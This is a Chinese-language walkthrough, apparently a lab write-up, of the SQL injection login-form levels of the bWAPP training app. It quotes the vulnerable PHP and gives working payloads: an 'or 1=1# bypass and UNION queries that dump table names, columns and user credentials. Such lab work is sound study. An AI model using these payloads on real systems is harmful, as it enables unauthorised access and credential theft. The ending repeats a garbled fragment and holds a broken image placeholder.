表单注入
代码分析
//==============同时对输入字段进行消毒,查询================
<?php
if(isset($_POST["form"])) //===========获取提交的表单信息===============
{
$login = $_POST["login"];
$login = sqli($login);
$password = $_POST["password"];
$password = sqli($password);
//==================使用自定义的sqli()函数进行消毒================
$sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
// echo $sql;
$recordset = mysql_query($sql, $link);
?>
演练
Login Form/Hero–low
bee 'or 1=1#
1
Login Form/Hero–mid/high
使用 addslashes(),mysql_real_escape_string() 无法绕过
function sqli_check_1($data)
{
return addslashes($data);
// 语法 addslashes ( string $str ) : string
// 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
// 这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
}
function sqli_check_2($data)
{
return mysql_real_escape_string($data);
// 面向对象风格
// mysqli::escape_string ( string $escapestr ) : string
// mysqli::real_escape_string ( string $escapestr ) : string
// 过程化风格
// mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string
// 此函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。
// 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
}
Login Form/User–low
//==先通过用户名查询用户信息(如果存在),就提取出查到的信息中的用户密码,再与用户输入的密码进行匹配==
<?php
if(isset($_POST["form"]))
{
$login = $_POST["login"];
$login = sqli($login);
$password = $_POST["password"];
$password = sqli($password);
$password = hash("sha1", $password, false);
//=============hash加密,方便与后面获取的密码进行匹配比对=======
$sql = "SELECT * FROM users WHERE login = '" . $login . "'";
$recordset = mysql_query($sql, $link);
if(!$recordset) //===========先判断用户是否存在
{
die("Error: " . mysql_error());
}
else
{
$row = mysql_fetch_array($recordset);
//==========!!!逐行获取查询获得到的信息,row位数组,通过字段下标获取值,进行匹配!!!========
if($row["login"] && $password == $row["password"]) //====用户名,密码匹配
{
// $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
$message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
// $message = $row["login"];
}
else
{
$message = "<font color=\"red\">Invalid credentials!</font>";
}
}
mysql_close($link);
}
echo $message;
?>
因为对密码进行的hash加密,使得输入的密码会被编码位字符串,无法获得注入效果
发现存在$sql = "SELECT * FROM users WHERE login = '" . $login . "'";
语句,可以使用union 进行联合查询
' union select 1,2,3,4,5,6,7,8 #
' union select 1,2,3,4,5,6,7,8,9 #
此处得知道password 字段的在可利用字段的位置(此处为位置3)
注意此处的sha1加密的字符串必须为填入的密码的加密结果
' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,5,6,7,8,9 #
bug
- 获取表名
' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
bug
-
获取列名
' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 # bug
-
获取信息
' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(login,'-',password,'-') from users),6,7,8,9 # bug
Login Form/User–mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御,
sers),6,7,8,9 #
bug
[外链图片转存中...(img-39NjtdKo-1600695174065)]
### Login Form/User--mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。